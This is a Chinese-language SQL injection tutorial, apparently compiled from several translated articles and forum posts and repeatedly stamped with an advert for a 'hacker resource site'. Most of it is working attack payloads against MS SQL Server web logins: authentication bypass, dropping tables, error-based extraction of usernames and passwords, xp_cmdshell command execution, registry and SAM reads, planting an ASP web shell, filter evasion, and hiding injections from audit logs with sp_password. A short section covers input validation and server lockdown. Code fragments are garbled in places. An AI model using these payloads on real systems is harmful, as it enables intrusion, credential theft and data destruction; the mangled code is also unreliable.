<% return; }

else {

Session("username") = "" + rso("username");

%>

ACCESS GRANTED

Welcome, <% (rso("Username"));

( "" ); }

}

function Main() { //Set up connection

var username

var cn = object( "tion" );

tiontimeout = 20;

( "localserver", "sa", "password" );

username = new String( ("username") );

if( > 0) {

Login( cn );

}

();

}

Main();

%>

出现问题的地方是process_中产生查询语句的部分：

Var sql="select * from users where username='"+username+"' and

password='"+password+"'";

如果用户输入的信息如下：

Username：';drop table users—

Password：

数据库中表users将被删除，拒绝任何用户进入应用程序。'—'符号在Transact-SQL

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

中表示忽略'—'以后的语句，';'符号表示一个查询的结束和另一个查询的开始。'—'

位于username字段中是必须的，它为了使这个特殊的查询终止，并且不返回错误。

攻击者可以只需提供他们知道的用户名，就可以以任何用户登陆，使用如下输入：

Username：admin'—

攻击者可以使用users表中第一个用户，输入如下：

Username：' or 1=1—

更特别地，攻击者可以使用完全虚构的用户登陆，输入如下：

Username：' union select 1,'fictional_user','some_password',1—

这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

通过错误消息获得信息

这个几乎是David Litchfi

eld首先发现的，并且通过作者渗透测试的；后来David

写了一份文档，后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机

制，使读者能够完全地了解它，潜在地引发他们的能力。

为了操作数据库中的数据，攻击者必须确定某些数据库和某些表的结构。例如我

们可以使用如下语句创建user表：

Create talbe users(

Id int,

Username varchar(255),

Password varchar(255),

Privs int

)

然后将下面的用户插入到users表中：

Insert into users values(0,'admin','r00tr0x!',0xffff)

Insert into users values(0,'guest','guest',0x0000)

Insert into users values(0,'chris','password',0x00ff)

Insert into users values(0,'fred','sesame',0x00ff)

如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下，他

不可能成功。即使他比较幸运，至于privs字段不清楚。攻击者可能插入一个'1'，

这样只给他自己一个低权限的用户。

幸运地，如果从应用程序（默认为AS

P行为）返回错误消息，那么攻击者可以

确定整个数据库的结构，并且可以以程序中连接SQLSERVER的权限度曲任何

值。

（下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的）

首先，攻击者想获得建立用户的表的名字和字段的名字，要做这些，攻击者需要

使用select语法的having子句：

Username：' having 1=1—

这样将会出现如下错误：

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column '' is invalid in

the select list because it is not contained in an aggregate function and there is no

GROUP BY clause.

/process_, line 35

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段

放到group by子句只能感去找到一个一个字段名，如下：

Username：' group by having 1=1—

出现的错误如下：

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'me' is

invalid in the select list because it is not contained in either an aggregate function or

the GROUP BY clause.

/process_, line 35

最终攻击者得到了usernam

e字段后：

‘ group by ,me,rd, having 1=1—

这句话并不产生错误，相当于：

select * from users where username=''

因此攻击者现在知道查询涉及users表，按顺序使用列

'id,username,password,privs'。

能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现，例如：

Username：' union select sum(username) from users—

这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝

试去计算sum会得到以下消息：

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate

operation cannot take a varchar data type as an argument.

/process_, line 35

这告诉了我们'username'字段的类型是varchar。如果是另一种情况，我们尝试去

计算sum()的是数字类型，我们得到的错误消息告诉我们两个集合的字段数量不

相等。

Username：' union select sum(id) from users—

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement

containing a UNION operator must have an equal number of expressions in their

target lists.

/process_, line 35

我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。

这样攻击者就可以写一个好的insert查询，例如：

Username：';insert into users values(666,'attacker','foobar','0xffff)—

这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息

或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息：

select * from master ..sysmessages

解释这些将实现有趣的消息。

一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型

数字，那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面

中，在username后面会显示出SQLSERVER的版本和所运行的操作系统信息：

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

Username：' union select @@version,1,1,1—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000

00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on

Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.

/process_, line 35

这句尝试去将内置的'@@

version'常量转化成一个整型数字，因为users表中的第

一列是整型数字。

这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密

码比较感兴趣后，他们比较喜欢去从users表中读取用户名，例如：

Username：' union select min(username),1,1,1 from users where username>'a'—

这句选择users表中username大于'a'中的最小值，并试图把它转化成一个整型数

字：

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

varchar value 'admin' to a column of data type int.

/process_, line 35

因此攻击者已经知道用户

admin是存在的。这样他就可以重复通过使用where子

句和查询到的用户名去寻找下一个用户。

Username：' union select min(username),1,1,1 from users where username>'admin'—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

varchar value 'chris' to a column of data type int.

/process_, line 35

一旦攻击者确定了用户名，他就可以开始收集密码：

Username：' union select password,1,1,1 from users where username='admin'—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

varchar value 'r00tr0x!' to a column of data type int.

/process_, line 35

一个更高级的技术是将所有用户名和密码连接长一个单独的字符串，然后尝试把

它转化成整型数字。这个例子指出：Transavt-SQL语法能够在不改变相同的行的

意思的情况下把它们连接起来。下面的脚本将把值连接起来：

begin declare @ret varchar(8000)

set @ret=':'

select @ret=@ret+' '+username+'/'+password from users where

username>@ret

select @ret as ret into foo

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

end

攻击者使用这个当作用户名登陆（都在一行）

Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+'

'+username+'/'+password from users where username>@ret select @ret as ret into foo

end—

这就创建了一个foo表，里面只有一个单独的列'ret'，里面存放着我们得到的用

户名和密码的字符串。正常情况下，一个低权限的用户能够在同一个数据库中创

建表，或者创建临时数据库。

然后攻击者就可以取得我们要得到的字符串：

Username：' union select ret,1,1,1 from foo—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the

varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column

of data type int.

/process_, line 35

然后丢弃（删除）表来清楚脚印：

Username：'; drop table foo—

这个例子仅仅是这种技术的一个表面的作用。没必要说，如果攻击者能够从数据

库中获得足够的错误西，他们的工作就变的无限简单。

获得更高的权限

一旦攻击者控制了数据库，他们就想利用那个权限去获得网络上更高的控制权。

这可以通过许多途径来达到：

1. 在数据库服务器上，以SQLSERVER权限利用xp_cmdshell扩展存储过程执行

命令。

2. 利用xp_regread扩展存储过程去读注册表的键值，当然包括SAM键（前提是

SQLSERVER是以系统权限运行的）

3. 利用其他存储过程去改变服务器

4. 在连接的服务器上执行查询

5. 创建客户扩展存储过程去在SQLSERVER

进程中执行溢出代码

6. 使用'bulk insert'语法去读服务器上的任意文件

7. 使用bcp在服务器上建立任意的文本格式的文件

8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建

ActiveX应用程序，使它能做任何ASP脚本可以做的事情

这些只列举了非常普通的可能攻击方法的少量，攻击者很可能使用其它方法。我

们介绍收集到的攻击关于SQL服务器的明显攻击方法，为了说明哪方面可能并

被授予权限去注入SQL.。我们将依次处理以上提到的各种方法：

[xp_cmdshell]

许多存储过程被创建在SQLSERVER中，执行各种各样的功能，例如发送电子

邮件和与注册表交互。

Xp_cmdshell是一个允许

执行任意的命令行命令的内置的存储过程。例如：

p_cmdshell 'dir'

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

将获得SQLSERVER进程的当前工作目录中的目录列表。

p_cmdshell 'net user'

将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运

行时，攻击者可以做出更严重的危害。

[xp_regread]

另一个有用的内置存储过程是xp_regXXXX类的函数集合。

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumkeys

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

这些函数的使用方法举例如下：

exec xp_regread

HKEY_LOCAL_MACHINE,'SYSTEMCurrentControlSetServiceslanmanserverpara

meters', 'nullsessionshares'

这将确定什么样的会话连接在服务器上是可以使用的

exec xp_regenumvalues

HKEY_LOCAL_MACHINE,'SYSTEMCurrentControlSetServicessnmpparametersva

lidcommunities'

这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主

机间共享的情况下，有了这些信息，攻击者或许会重新配置同一网络中的网络设

备。

这很容易想象到一个攻击者可以利用这些函数读取SAM，修改系统服务的配置，

使它下次机器重启时启动，或在下次任何用户登陆时执行一条任意的命令。

[其他存储过程]

xp_servicecontrol

过程允许用户启动，停止，暂停和继续服务：

p_servicecontrol 'start','schedule'

p_servicecontrol 'start','server'

下表中列出了少量的其他有用的存储过程：

Xp_availablemedia 显示机器上有用的驱动器

Xp_dirtree 允许获得一个目录树

Xp_enumdsn 列举服务器上的ODBC数据源

Xp_loginconfig Reveals information about the security mode of the server

Xp_makecab 允许用户在服务器上创建一个压缩文件

Xp_ntsec_enumdomains 列举服务器可以进入的域

Xp_terminate_process 提供进程的进程ID，终止此

进程

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

[Linked Servers]

SQL SERVER提供了一种允许服务器连接的机制，也就是说允许一台数据库服

务器上的查询能够操作另一台服务器上的数据。这个链接存放在

vers表中。如果一个连接的服务器已经被设置成使用

'sp_addlinkedsrvlogin'过程，当前可信的连接不用登陆就可以访问到服务器。

'openquery'函数允许查询脱离服务器也可以执行。

[Custom extended stored procedures]

扩展存储过程应用程序接口是相当简单的，创建一个携带恶意代码的扩展存储过

程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接

库到SQL服务器上，还有其它包括了多种自动通讯的通讯机制，比如HTTP下

载和FTP脚本。

一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自

己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程（这种情

况下，我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马）：

Sp_addextendedproc 'xp_webserver','c:tempxp_'

在正常的方式下，这个扩展存储过程可以被运行：

exec xp_webserver

一旦这个程序被运行，可以使用下面的方法将它除去：

xp_dropextendedproc 'xp_webserver'

[将文本文件导入表]

使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。简单地创建这个

表：

create table foo( line varchar(8000) )

然后执行bulk insert操作把文件中的数据插入到表中，如：

bulk insert foo from 'c:inetpubwwwrootprocess_'

可以使用上述的错误消息技术，或者使用'union'选择，使文本文件中的数据与应

用程序正常返回的数据结合，将数据取回。这个用来获取存放在数据库服务器上

的脚本源代码或者ASP脚本代码是非常有用的。

[使用bcp建立文本文件]

使用'bulk insert'的相对技术可以很容易建立任意的文本文件。不幸的是这需要命

令行工具。'bcp',即'bulk copy program'

既然 bcp可以从SQL服务进程外访问数据库，它需要登陆。这代表获得权限不

是很困难，既然攻击者能建立，或者利用整体安全机制(如果服务器配置成可以

使用它)。

命令行格式如下：

bcp "select * from text..foo" queryout c: –c

-Slocalhost –Usa –Pfoobar

'S'参数为执行查询的服务器，'U'参数为用户名，'P'参数为密码，这里为'foobar'

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

[ActiveX automation scripqs in SQL SERVER]

SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。

这些脚本和运行在windows脚本解释器下的脚本，或者ASP脚本程序一样——

他们使用VBscripq或j书写，他们创建自动执行对象并和它们交互。一个自动

执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中，或者

WSH脚本中可以做的任何事情。为了阐明这鞋，这里提供了几个例子：

（1）这个例子使用''对象建立了一个记事本的实例：

example

declare @o int

exec sp_oacreate '',@o out

exec sp_oamethod @o,'run',NULL,''

我们可以通过指定在用户名后面来执行它：

Username：'; declare @o int exec sp_oacreate '',@o out exec

sp_oamethod @o,'run',NULL,''—

(2)这个例子使用'stemobject'对象读一个已知的文本文件：

--stemobject example – read a known file

declare @o int, @f int, @t int, @ret int

declare @line varchar(8000)

exec sp_oacreate 'stemobject', @o out

exec sp_oamethod @o, 'opentextfile', @f out, 'c:', 1

exec @ret=sp_oamethod @f,'readline',@line out

while(@ret=0)

begin

print @line

exec @ret=sp_oamethod @f,'readline',@line out

end

(3)这个例子创建了一个能执行通过提交到的任何命令：

-- stemobject example – create a 'run this'.asp file

declare @o int,@f int,@t int,@ret int

exec sp_oacreate 'stemobject',@o out

exec sp_oamethod @o,'createtextfile',@f out,'c:',1

exec @ret=sp_oamethod @f,'writeline',NULL,'<% set

o=object(""):(tring("cmd")) %>'

需要指出的是如果运行的环境是WIN NT4+IIS4平台上，那么通过这个程序运行

的命令是以系统权限运行的。在IIS5中，它以一个比较低的权限

IWAM_XXXaccount运行。

(4)这些例子阐述了这个技术的适用性；它可以使用'ext'对象引起

SQL SERVER发声：

declare @o int,@ret int

exec sp_oacreate 'ext',@o out

exec sp_oamethod @o,'register',NULL,'foo','bar'

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

exec sp_oasetproperty @o,'speed',150

exec sp_oamethod @o,'speak',NULL,'all your sequel servers are belong to,us',528

waitfor delay '00:00:05'

我们可以在我们假定的例子中，通过指定在用户名后面来执行它（注意这个例子

不仅仅是注入一个脚本，同时以admin权限登陆到应用程序）：

Username：admin';declare @o int,@ret int exec sp_oacreate 'ext',@o out

exec sp_oamethod @o,'register',NULL,'foo','bar' exec sp_oasetproperty

@o,'speed',150 exec sp_oamethod @o,'speak',NULL,'all your sequel servers are

belong to us',528 waitfor delay '00:00:05'--

[存储过程]

传说如果一个ASP应用程序在数据库中使用了存储过程，那么SQL注入是不可

能的。这句话只对了一半，这要看ASP脚本中调用这个存储过程的方式。

本质上，如果一个有参数的查询被执行 ，并且用户提供的参数通过安全检查才

放入到查询中，那么SQL注入明显是不可能发生的。但是如果攻击者努力影响

所执行查询语句的非数据部分，这样他们就可能能够控制数据库。

比较好的常规的标准是：

?如果一个ASP脚本能够产生一个被提交的SQL查询字符串，即使它使用了存

储过程也是能够引起SQL注入的弱点。

?如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配（例如ADO

的用于参数收集的command对象），那么通过这个对象的执行，它一般是安全

的。

明显地，既然新的攻击技术始终地被发现，好的惯例仍然是验证用户所有的输入。

为了阐明存储过程的查询注入，执行以下语句：

sp_who '1' select * from sysobjects

or

sp_who '1';select * from sysobjects

任何一种方法，在存储过程后，追加的查询依然会执行。

[高级SQL注入]

通常情况下，一个web应用程序将会过滤单引号（或其他符号），或者限定用

户提交的数据的长度。

在这部分，我们讨论一些能帮助攻击者饶过那些明显防范SQL注入，躲避被记

录的技术。

[没有单引号的字符串]

有时候开发人员会通过过滤所有的单引号来保护应用程序，他们可能使用

VBscripq中的replace函数或类似：

function escape(input)

input=replace(input,"'","''")

escape=input

end function

无可否认地这防止了我们所有例子的攻击，再除去';'符号也可以帮很多忙。但是

在一个大型的应用程序中，好象个别值期望用户输入的是数字。这些值没有被限

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

定，因此为攻击者提供了一个SQL注入的弱点。

如果攻击者想不使用单引号产生一个字符串值，他可以使用char函数，例如：

insert into users values(666,

char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),

char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),

0xffff)

这就是一个能够往表中插入字符串的不包含单引号的查询。

淡然，如果攻击者不介意使用一个数字用户名和密码，下面的语句也同样会起作

用：

insert into users values(667,

123,

123,

oxffff)

SQL SERVER自动地将整型转化为varchar型的值。

[Second-Order SQL Injection]

即使应用程序总是过滤单引号，攻击者依然能够注入SQL同样通过应用程序使

数据库中的数据重复使用。

例如，攻击者可能利用下面的信息在应用程序中注册：

Username：admin'—

Password：password

应用程序正确过滤了单引号，返回了一个类似这样的insert语句：

insert into users values(123,'admin''—','password',0xffff)

我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户

设置新密码前拥有正确的旧密码。代码如下：

username = escape( ("username") );

oldpassword = escape( ("oldpassword") );

newpassword = escape( ("newpassword") );

var rso = Object("set");

var sql = "select * from users where username = '" + username + "' and password = '"

+ oldpassword + "'";

( sql, cn );

if ()

{

…

设置新密码的代码如下：

sql = "update users set password = '" + newpassword + "' where username = '" +

rso("username") + "'"

rso("username")为登陆查询中返回的用户名

当username为admin'—时，查询语句为：

update users set password = 'password' where username='admin'—'

这样攻击者可以通过注册一个admin'—的用户来根据自己的想法来设置admin的

密码。

这是一个非常严重的问题，目前在大型的应用程序中试图去过滤数据。最好的解

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

决方法是拒绝非法输入，这胜于简单地努力去修改它。这有时会导致一个问题，

非法的字符在那里是必要的，例如在用户名中包含'符号，例如

O'Brien

从一个安全的观点来看，最好的解答是但引号不允许存在是一个简单的事实。如

果这是无法接受的话，他们仍然要被过滤；在这种情况下，保证所有进入SQL

查询的数据都是正确的是最好的方法。

如果攻击者不使用任何应用程序莫名其妙地往系统中插入数据，这种方式的攻击

也是可能的。应用程序可能有email接口，或者可能在数据库中可以存储错误日

志，这样攻击者可以努力控制它。验证所有数据，包括数据库中已经存在的数据

始终是个好的方法。确认函数将被简单地调用，例如：

if(not isValid("email",tring("email"))) then

或者类似的方法。

[长度限制]

为了给攻击者更多的困难，有时输入数据的长度是被限制的。当这个阻碍了攻击

时，一个小的SQL可以造成很严重的危害。例如：

Username：';shutdown—

这样只用12个输入字符就将停止SQL SERVER实例。另一个例子是：

drop table

如果限定长度是在过滤字符串后应用将会引发另一个问题。假设用户名被限定

16个字符，密码也被限定16个字符，那么下面的用户名和密码结合将会执行上

面提到的shutdown命令：

Username：aaaaaaaaaaaaaaa'

Password：'; shutdown—

原因是应用程序尝试去过滤用户名最后的单引号，但是字符串被切断成16个字

符，删除了过滤后的一个单引号。这样的结果就是如果密码字段以单引号开始，

它可以包含一些SQL语句。既然这样查询看上去是：

select * from users where username='aaaaaaaaaaaaaaa'' and password=''';shutdown—

实际上，查询中的用户名已经变为：

aaaaaaaaaaaaaaa' and password='

因此最后的SQL语句会被执行。

[审计]

SQL SERVER包含了丰富的允许记录数据库中的各种事件的审计接口，它包含

在sp_traceXXX类的函数中。特别有意思的是能够记录所有SQL语句，然后在

服务器上执行的T-SQL的事件。如果这种审计是被激活的，我们讨论的所有注

入的SQL查询都将被记录在数据库中，一个熟练的数据库管理员将能够知道发

生了什么事。不幸地，如果攻击者追加以下字符串：

Sp_password

到一个Transact-SQL语句中，这个审计机制记录日志如下：

--'sp_password' was found in the text of this event.

-- The text has been replaced with this comment for security reasons.

这种行为发生在所有的T-SQL日记记录中，即使'sp_password'发生在一个注释

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

中。这个过程打算通过sp_password隐藏用户的密码，但这对于一个攻击者来说

是非常有用的方法。

因此，为了隐藏所有注入，攻击者需要简单地在'—'注释字符后追加sp_password，

例如：

Username：admin'—sp_password

事实上一些被执行的SQL将被记录，但是查询本身将顺利地从日志中消失。

[防范]

这部分讨论针对记述的攻击的一些防范。我们将讨论输入确认和提供一些简单的

代码，然后我们将从事SQL SERVER锁定。

[输入验证]

输入验证是一个复杂的题目。比较有代表性的是，自从过于严密地确认倾向于引

起部分应用程序的暂停，输入确认问题很难被解决，在项目开发中投入很少的注

意力在输入确认上。输入确认不是倾向于将它加入到应用程序的功能当中，因此

它一般会被忽视。

下面是一个含有简单代码的讨论输入确认的大纲。这个简单的代码不能直接用于

应用程序中，但是它十分清晰地阐明了不同的策略。

不同的数据确认方法可以按以下分类：

1） 努力修改数据使它成为正确的

2） 拒绝被认为是错误的输入

3） 只接收被认为是正确的输入

第一种情况有一些概念上的问题；首先，开发人员没必要知道那些是错误数据，

因为新的错误数据的形式始终被发现。其次，修改数据会引起上面描述过的数据

的长度问题。最后，二次使用的问题包括系统中已经存在数据的重新使用。

第二种情况也存在第一种情况中的问题；已知的错误输入随着攻击技术的发展变

化。

第三种情况可能是三种中最好的，但是很难实现。

从安全角度看合并第二种方法和第三种方法可能是最好的方法——只允许正确

的输入，然后搜索输入中已知的错误数据。

带有连接符号的姓名的问题对于体现合并两种方法的必要性是一个好的例子：

Quentin Bassington-Bassington

我们必须在正确输入中允许连接符号，但是我们也意识到字符序列'—'对SQL

SERVER很重要。

当合并修改数据和字符序列确认时，会出现另一个问题。例如，如果我们应用一

个错误过滤在除去单引号之后去探测'—'，'select'和'union'，攻击者可以输入：

uni'on sel'ect @@version-'-

既然单引号被除去，攻击者可以简单地散布单引号在自己的错误的字符串中躲避

被发现。

这有一些确认代码的例子：

方法一——过滤单引号

function escape(input)

input=replace(input,"'","''")

escape=input

end function

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

方法二——拒绝已知的错误输入

function validate_string(input)

known_bad=array("select","insert","update","delete","drop","—","'")

validate_string=true

for i=lbound(known_bad) to ubound(known_bad)

if(instr(1,input,known_bad(i),vbtextcompare)<>0) then

validate_string=false

exit function

end if

next

end function

方法三——只允许正确的输入

function validatepassword(input)

good_password_chars=”

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

”

validatepassword=true

for i=1 to len(input)

c=mid(input,I,1)

if(InStr(good_password_chars,c)=0) then

validatepassword=false

exit function

end if

next

end function

[SQL SERVER锁定]

在这指出的重要一点是锁定SQL SERVER是必要的；外面的是不安全的。这是

一个但创建SQL SERVER时需要做的事情的简短的列表：

1.确定连接服务器的方法

a.确定你所使用的网络库是可用的，那么使用"Network Utility"

2.确定哪些帐户是存在的

a.为应用程序的使用创建一个低权限的帐户

b.删除不必要的帐户

c.确定所有帐户有强壮的密码；执行密码审计

3.确定哪些对象存在

a.许多扩展存储过程能被安全地移除。如果这样做了，应该移除包含在扩展存储

过程代码中的'.dll'文件

b.移除所有示例数据库——例如'northwind'和'pubs'数据库

4.确定哪写帐户能过使用哪些对象

a.应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小

权限

5.确定服务器的补丁

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

a.针对SQL SERVER有一些缓冲区溢出和格式化字符串攻击，也有一些其他的

安全补丁发布。应该存在很多。

6.确定什么应该被日志记录，什么应该在日志中结束。

如何利用Sql 注入遍历目录 关于如何取得注入入口不再说了，前面的帖子都说

得很详细了，我们就如何浏览全部目录和文件进行研究当System_user为"sa"时，

具有全部权限，包括执行_cmdshell,如果这个存储过程没有改名或删

除，我们可以利用它来遍历全部目录，执行如下：先创建一个临时表：temp '5;create

table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3

nvarchar(255));-- 接下来：（1）我们可以利用xp_availablemedia来获得当前所有

驱

动器,并存入temp表中： 5';insert temp exec _availablemedia;-- 我们

可以通过查询temp的内容来获得驱动器列表及相关信息（2）我们可以利用

xp_subdirs获得子目录列表,并存入temp表中： 5';insert into temp(id) exec

_subdirs 'c:';-- （3）我们还可以利用xp_dirtree获得所有子目录的目

录树结构,并寸入temp表中： 5';insert into temp(id,num1) exec ma

_dirtree

'c:';-- 这样就可以成功的浏览到所有的目录（文件夹）列表：如果我们需要查看

某个文件的内容，可以通过执行xp_cmdsell： 5';insert into temp(id) exec

_cmdshell 'type c:';-- 浏览temp就可以看到文

件的内容了！ 当然，如果xp_cmshell能够执行，我们可以用它来完成： 5';insert

into temp(id) exec _cmdshell 'dir c:';-- 5';insert into temp(id) exec

_cmdshell 'dir c: *.asp /s/a';-- 通过xp_cmdshell我们可以看到所有想

看到的，包括W3svc 5';insert into temp(id) exec _c

mdshell 'cscripq

C: enum w3svc' 但是，如果不是Admin的权限，我

们还可以使用 5';insert into temp(id,num1) exec _dirtree 'c:';-- 如果大

家还有什么好的方法欢迎与我讨论研究

SQL Injection技巧的演练收藏

原著: sk@

出处: /

翻译人: demonalex

翻译人Email: demonalex_at_

+上 /

摘要:

下文是为了帮助那些希望能掌握这个漏洞的运用、并想得知如何保护自己免受这

种漏洞攻击的人了解该漏

洞的本质而写的。

详细资料:

1.0绪论

当一台机器只开放了80端口(这里指的是提供HTTP服务)时，可能你的大多数漏

洞扫描器都不能给到你很多

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

有价值的信息(漏洞信息)，倘若这台机器的管理员是经常为他的服务器打PATCH

的话，我们只好把攻击的

矛头指向WEB服务攻击了。SQL注入攻击是WEB攻击类型中的一种，这种攻击

没有什么特殊的要求，只需要

对方提供正常的HTTP服务，且不需要理会管理员是否是个“PATCH狂”。这类攻

击主要是针对某种WEB处理

程序(如ASP,JSP,PHP,CGI等等)的而进行。

这篇文章不是在为阁下介绍什么新“玩意”，SQL注入攻击以前就一直广为流传

着。我之所以现在才写这

篇文章是因为我想把我最近实验所得的某些经验与积累记录下来，希望能给予读

者某些参考吧。你也可以

在“9.0我从哪里可以得到更多相关资料？”的栏目中找到更多其他人所写的、关

于SQL注入技巧的相关资

料。

1.1什么是SQL注入？

这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的

HTTP提交请求中从而达到攻击

者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参

数，然后动态的构成SQL请

求发给数据库的。举个例子，当有某个用户需要通过网页上的用户登陆(用户身

份验证)时，动态网页会将

该用户提交上来的用户名与密码加进SQL询问请求发给数据库，用于确认该用

户提交的身份验证信息是否

有效。在SQL注入攻击的角度看来，这样可以使我们在发送SQL请求时通过修

改用户名与/或密码值的‘领

域’区来达到攻击的目的。

1.2SQL注入需要什么(工具等)呢？

一个(些)网页浏览器。

2.0什么信息是你所需要找寻的呢？

首先你需要找到允许提交数据的页面，如:登陆页面、搜索页面、反馈页面、等

等。有的时候，某些HTML

页面会通过POST命令将所需要的参数传递给其他的ASP页面。所以，有的时

候你不会在URL路径中看到相关

的参数。尽管如此，你仍可以通过查看HTML的源代码中的"FORM"标签来辨别

是否有参数传递，相关的代码

如下:

在

与

的标签对间的每一个参数传递都有可能可以被利用(利用

在攻击的情况下)着SQL注入。

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

2.1当你找不到有输入行为的页面时应该怎么办呢？

你可以找一些相关ASP、JSP、CGI或PHP这类型的页面。尝试找一些带有某些参

数的特殊URL，如:

duck/?id=10

3.0你应该如何测试这些缺陷是否存在呢？

首先先加入某些特殊的字符标记，输入如:

hi' or 1=1--

寻找一些登陆页面，在其登陆ID与密码输入处，或URL中输入:

- Login: hi' or 1=1--

- Pass: hi' or 1=1--

- duck/?id=hi' or 1=1--

如果想以‘隐藏’的方式进行此类测试，你可以把该HTML网页从网站上下载至本

地硬盘，修改其隐藏部分

的值，如:

如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。

3.1为什么使用的是' or 1=1--呢？

让我们来看看其他例子中使用'or 1=1--的重要性吧。有别于正常的登陆方式，使

用这样的登陆方式可能

可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打

比方:

duck/?category=food

在上面这条URL中，'category'是一个变量名，而'food'是赋予该变量的值。为了做

到这些(链接成功)，

这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码

):

v_cat = request("category")

sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"

set rs=e(sqlstr)

正如我们所看到的，变量值将会预先处理然后赋值于'v_cat'，也就是说该SQL语

句将会变为:

SELECT * FROM product WHERE PCategory='food'

这个请求将会返回通过WHERE条件比较后得到的结果，在这个例子中也就是

'food'了。现在设想一下如果

我们把该URL改成这样的话:

duck/?category=food' or 1=1--

现在我们的变量v_cat的值就等同于"food' or

1=1--"了，现在如果我们要重新代入

那条SQL请求的话，

那条SQL请求将会是:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否

更多sql注入信息请关注 37网络技术网 你黑客路上的资源站

等于'food'。至于结尾

部分的那两条'--'(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个'(单

引号)。有的时候也

可以使用'#'(井号)来代替

'--'(双破折号)在这里的用法。

无论如何，如果对方不是一台SQL服务器(这里指的是M

S SQL SERVER)，或者

你不能使用简单的方法去忽

略最后的那个单引号的话，你可以尝试:

' or 'a'='a

这样的话整个SQL请求将会变为:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

它也会返回相同的结果。

根据实际情况，SQL注入请求是可以有多种动态变化的可能性的:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

4.0如何在SQL注入请求中加入即时执行命令？

能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器，此时

我们可以尝试使用SQL的命

令执行请求。默认的MS SQL服务器是运行在SYSTEM用户级别下的，这等同

于系统管理员的执行与访问权

